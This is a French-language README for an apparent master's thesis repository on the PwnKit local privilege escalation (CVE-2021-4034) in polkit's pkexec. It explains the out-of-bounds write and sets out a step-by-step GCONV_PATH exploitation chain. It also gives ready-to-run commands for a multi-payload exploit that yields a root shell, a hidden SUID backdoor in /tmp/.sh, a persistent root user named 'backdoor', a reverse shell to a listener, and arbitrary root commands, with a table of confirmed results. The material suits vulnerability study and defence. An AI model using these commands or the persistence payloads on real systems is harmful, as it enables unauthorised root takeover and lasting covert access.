
Recherche de thèse de master sur CVE-2021-4034 (PwnKit) escalade de privilèges locale. Exploit Python à plusieurs charges avec 7 modes incluant shell interactif, backdoor SUID, reverse shell, et création d'utilisateur root. Inclut analyse de cause racine et documentation de la chaîne d'exploitation.
Vulnérabilité de corruption mémoire dans l'utilitaire pkexec de polkit
Escalade de privilèges locale → root via écriture hors limites
Affecté : polkit 0.105-31 et versions antérieures · Correctif : polkit 0.105-33 (janvier 2022)
Shell racine interactif obtenu via CVE-2021-4034 – PwnKit
Ce dépôt contient mes recherches de Mémoire de Master sur CVE-2021-4034, une vulnérabilité de Escalade de privilèges locale de sévérité élevée (CVSS 7.8) dans l'utilitaire pkexec de polkit, communément appelée PwnKit.
La vulnérabilité provient d'une écriture hors limites dans la logique de traitement des arguments de pkexec. Lorsque pkexec est exécuté avec un argv vide ou manipulé, il lit et écrit au‑delà des bornes du tableau argv dans le tableau envp, ce qui permet à un utilisateur local non privilégié d'injecter des variables d'environnement malveillantes qui sont ensuite chargées comme bibliothèque partagée, exécutant du code arbitraire avec les privilèges root.
| Aspect | Description |
|---|
CVE-2021-4034/
├── README.md # Ce fichier
├── LICENSE # Licence MIT
│
├── exploit/
│ └── pwnkit.py # Exploit avancé avec charges utiles multiples
│
└── docs/
├── screenshots/ # Démonstrations d'exploitation
│ ├── 01-pwnkit-shell.png
│ ├── 02-pwnkit-id.png
│ ├── 03-pwnkit-whoami.png
│ ├── 04-pwnkit-backdoor.png
│ ├── 05-pwnkit-add-user.png
│ ├── 06-pwnkit-reverse.png
│ └── 07-pwnkit-custom.png
│
└── analysis/
├── 01-root-cause.md # Analyse de la cause racine de la vulnérabilité
├── 02-exploitation-chain.md # Décomposition de la chaîne d'exploitation
└── 03-timeline.md # Chronologie de la CVE
pkexec --version affiche 0.105 ou antérieur)apt install gcc)# Shell racine interactif (par défaut)
python3 exploit/pwnkit.py -p shell
# Vérifier le contexte d'exécution
python3 exploit/pwnkit.py -p whoami
# Exécuter une commande personnalisée en tant que root
python3 exploit/pwnkit.py -p custom -c "id"
# Créer une porte dérobée SUID dans /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid
# Ajouter un utilisateur root persistant
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword
# Shell inverse
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444
pkexec traite son propre argv pour localiser le programme à exécuter. Lorsqu'il est invoqué avec argc == 0 (vecteur d'arguments vide), la vérification des bornes sur argv échoue silencieusement. La lecture hors limites qui s'ensuit traite envp[0] comme argv[1], et l'écriture hors limites dans envp permet à un attaquant de remplacer une variable d'environnement par un chemin manipulé. Lorsque pkexec appelle ensuite g_printerr(), il charge GCONV_PATH depuis l'environnement désormais contrôlé par l'attaquant, chargeant une bibliothèque partagée fournie par l'attaquant avec les privilèges root.
argc == 0 → argv[1] lit envp[0]
argv[1] = "GCONV_PATH=." (écrit dans envp)
pkexec charge ./pwnkit.so (bibliothèque partagée contrôlée par l'attaquant)
gconv_init() s'exécute en tant que root
1. Fabriquer argv = { NULL } → argc = 0, déclenche un accès hors limites
2. Définir envp[0] = "pwnkit.so:."
3. Définir envp[1] = "PATH=GCONV_PATH=."
4. pkexec écrit hors limites "pwnkit.so:." dans envp[0] comme s'il s'agissait de argv[1]
5. pkexec résout GCONV_PATH=. et charge gconv-modules
6. gconv-modules associe le jeu de caractères "PWNKIT" à pwnkit.so
7. pwnkit.so:gconv_init() est appelée avec les privilèges root
8. La charge utile s'exécute (shell / porte dérobée / shell inverse / etc.)







Tous les tests ont été réalisés sur une VM VirtualBox isolée exécutant Ubuntu 20.04 LTS avec polkit 0.105‑26 (vulnérable), sans exposition réseau.
| Document | Description |
|---|---|
| Analyse de la cause racine | Écriture hors limites dans le traitement des arguments de pkexec |
Cette recherche fait partie de mon Mémoire de Master en Cybersécurité (UCAM — Campus Internacional de Ciberseguridad), analysant des vulnérabilités N‑Day dans plusieurs environnements.
Cette CVE représente le vecteur d'escalade de privilèges locale Linux au sein du mémoire, démontrant :
Mots‑clés : LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit
Annais Molina (devianntsec) — Étudiante en Master en Cybersécurité
Licence MIT — voir LICENSE
Ce dépôt est fourni à des fins éducatives et de recherche en sécurité uniquement, dans le cadre d'un Mémoire de Master académique. Tous les tests ont été effectués sur des machines virtuelles isolées sans exposition réseau. Utilisez‑le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de test. Toute utilisation non autorisée contre des systèmes est illégale et peut entraîner des poursuites pénales.
| Exploit multi‑charge utile | Wrapper Python avec 6 modes de charge utile incluant shell, id, porte dérobée et shell inverse |
| Configuration automatisée de l'environnement | Construction automatique de GCONV_PATH et configuration de gconv-modules |
| Modules post‑exploitation | Porte dérobée SUID, création d'utilisateur root et exécution de commande personnalisée |
| Documentation académique | Analyse de la cause racine, chaîne d'exploitation et chronologie de la vulnérabilité |
| Charge utile | Description | Sortie |
|---|
shell | Lance un /bin/sh interactif en tant que root | Shell interactif |
id | Écrit la sortie de id et whoami dans /tmp/pwnkit_id.txt | Fichier |
whoami | Écrit la vérification UID/eUID dans /tmp/pwnkit_root_test | Fichier |
backdoor_suid | Crée une copie SUID root de bash dans /tmp/.sh | Porte dérobée persistante |
add_root_user | Ajoute un utilisateur personnalisé à /etc/passwd | Accès persistant |
reverse_shell | Se connecte en retour à l'attaquant via Python | Shell distant |
custom | Exécute n'importe quelle commande en tant que root | Stdout / fichier |
| Composant | Valeur | Notes |
|---|
| Binaire vulnérable | /usr/bin/pkexec | SUID root |
| Condition de déclenchement | argc == 0 | argv vide |
| Primitif d'écriture | Écriture hors limites dans envp | Via argv[argc-1] |
| Mécanisme de chargement | GCONV_PATH + gconv-modules | iconv standard de glibc |
| Contexte d'exécution | gconv_init() dans la bibliothèque partagée | S'exécute avec EUID 0 |
| Versions affectées | polkit ≤ 0.105-31 | Toutes les principales distributions Linux |
| Charge utile | Résultat | Notes |
|---|
shell | ✅ Shell root obtenu | Accès interactif immédiat |
id | ✅ uid=0(root) confirmé | Sortie dans /tmp/pwnkit_id.txt |
whoami | ✅ root confirmé | UID/eUID = 0 |
backdoor_suid | ✅ Bit SUID défini sur /tmp/.sh | Persistant après l'exploit |
add_root_user | ✅ Utilisateur personnalisé créé | Survit au redémarrage |
reverse_shell | ✅ Connexion établie | Shell inverse Python fonctionnel |
custom | ✅ Exécution de commande arbitraire | Contexte root complet |
| Décomposition pas à pas de l'injection GCONV_PATH |
| Chronologie de la CVE | Découverte, divulgation et patch |